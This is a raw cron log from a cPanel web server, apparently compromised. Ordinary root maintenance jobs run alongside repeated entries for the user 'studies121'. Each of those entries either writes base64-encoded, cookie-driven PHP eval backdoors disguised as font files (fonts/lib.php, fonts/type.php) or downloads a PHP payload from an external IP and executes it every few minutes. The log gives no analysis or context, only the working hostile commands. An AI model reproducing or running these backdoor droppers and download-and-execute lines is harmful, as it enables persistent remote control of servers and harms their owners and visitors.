Sep  1 23:56:01 ip-184-168-122-23 CROND[11108]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:56:01 ip-184-168-122-23 CROND[11110]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:57:02 ip-184-168-122-23 CROND[11281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:57:02 ip-184-168-122-23 CROND[11283]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:57:02 ip-184-168-122-23 CROND[11282]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:57:02 ip-184-168-122-23 CROND[11284]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:58:01 ip-184-168-122-23 CROND[11405]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  1 23:58:01 ip-184-168-122-23 CROND[11407]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:58:01 ip-184-168-122-23 CROND[11410]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:58:01 ip-184-168-122-23 CROND[11408]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:58:01 ip-184-168-122-23 CROND[11406]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  1 23:59:01 ip-184-168-122-23 CROND[11581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  1 23:59:01 ip-184-168-122-23 CROND[11582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  1 23:59:01 ip-184-168-122-23 CROND[11584]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  1 23:59:01 ip-184-168-122-23 CROND[11583]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:00:01 ip-184-168-122-23 CROND[11737]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 00:00:01 ip-184-168-122-23 CROND[11739]: (root) CMD (/usr/local/cpanel/scripts/shrink_modsec_ip_database -x 2>&1)
Sep  2 00:00:01 ip-184-168-122-23 CROND[11740]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:00:01 ip-184-168-122-23 CROND[11738]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:00:01 ip-184-168-122-23 CROND[11742]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:00:01 ip-184-168-122-23 CROND[11743]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:00:01 ip-184-168-122-23 CROND[11744]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:00:01 ip-184-168-122-23 CROND[11746]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:00:01 ip-184-168-122-23 CROND[11745]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:01:01 ip-184-168-122-23 CROND[11840]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:01:01 ip-184-168-122-23 CROND[11841]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 00:01:01 ip-184-168-122-23 CROND[11845]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 00:01:01 ip-184-168-122-23 CROND[11843]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:01:01 ip-184-168-122-23 CROND[11844]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:01:01 ip-184-168-122-23 CROND[11847]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11841]: starting 0anacron
Sep  2 00:01:01 ip-184-168-122-23 anacron[11862]: Anacron started on 2026-09-02
Sep  2 00:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[11864]: finished 0anacron
Sep  2 00:01:01 ip-184-168-122-23 anacron[11862]: Normal exit (0 jobs run)
Sep  2 00:02:01 ip-184-168-122-23 CROND[11944]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:02:01 ip-184-168-122-23 CROND[11946]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:02:01 ip-184-168-122-23 CROND[11948]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:02:01 ip-184-168-122-23 CROND[11951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:02:01 ip-184-168-122-23 CROND[11949]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:03:01 ip-184-168-122-23 CROND[12024]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:03:01 ip-184-168-122-23 CROND[12027]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:03:01 ip-184-168-122-23 CROND[12026]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:03:01 ip-184-168-122-23 CROND[12028]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:04:01 ip-184-168-122-23 CROND[12101]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:04:01 ip-184-168-122-23 CROND[12103]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:04:01 ip-184-168-122-23 CROND[12106]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:04:01 ip-184-168-122-23 CROND[12104]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:04:01 ip-184-168-122-23 CROND[12105]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:05:01 ip-184-168-122-23 CROND[12187]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:05:01 ip-184-168-122-23 CROND[12193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:05:01 ip-184-168-122-23 CROND[12190]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 00:05:01 ip-184-168-122-23 CROND[12194]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 00:05:01 ip-184-168-122-23 CROND[12192]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:05:01 ip-184-168-122-23 CROND[12195]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 00:05:01 ip-184-168-122-23 CROND[12191]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:06:01 ip-184-168-122-23 CROND[12368]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:06:01 ip-184-168-122-23 CROND[12370]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 00:06:01 ip-184-168-122-23 CROND[12372]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:06:01 ip-184-168-122-23 CROND[12373]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:06:01 ip-184-168-122-23 CROND[12371]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:07:01 ip-184-168-122-23 CROND[12458]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:07:01 ip-184-168-122-23 CROND[12460]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:07:01 ip-184-168-122-23 CROND[12461]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 00:07:01 ip-184-168-122-23 CROND[12462]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 00:08:01 ip-184-168-122-23 CROND[12548]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 00:08:01 ip-184-168-122-23 CROND[12553]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 00:08:01 ip-184-168-122-23 CROND[12550]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
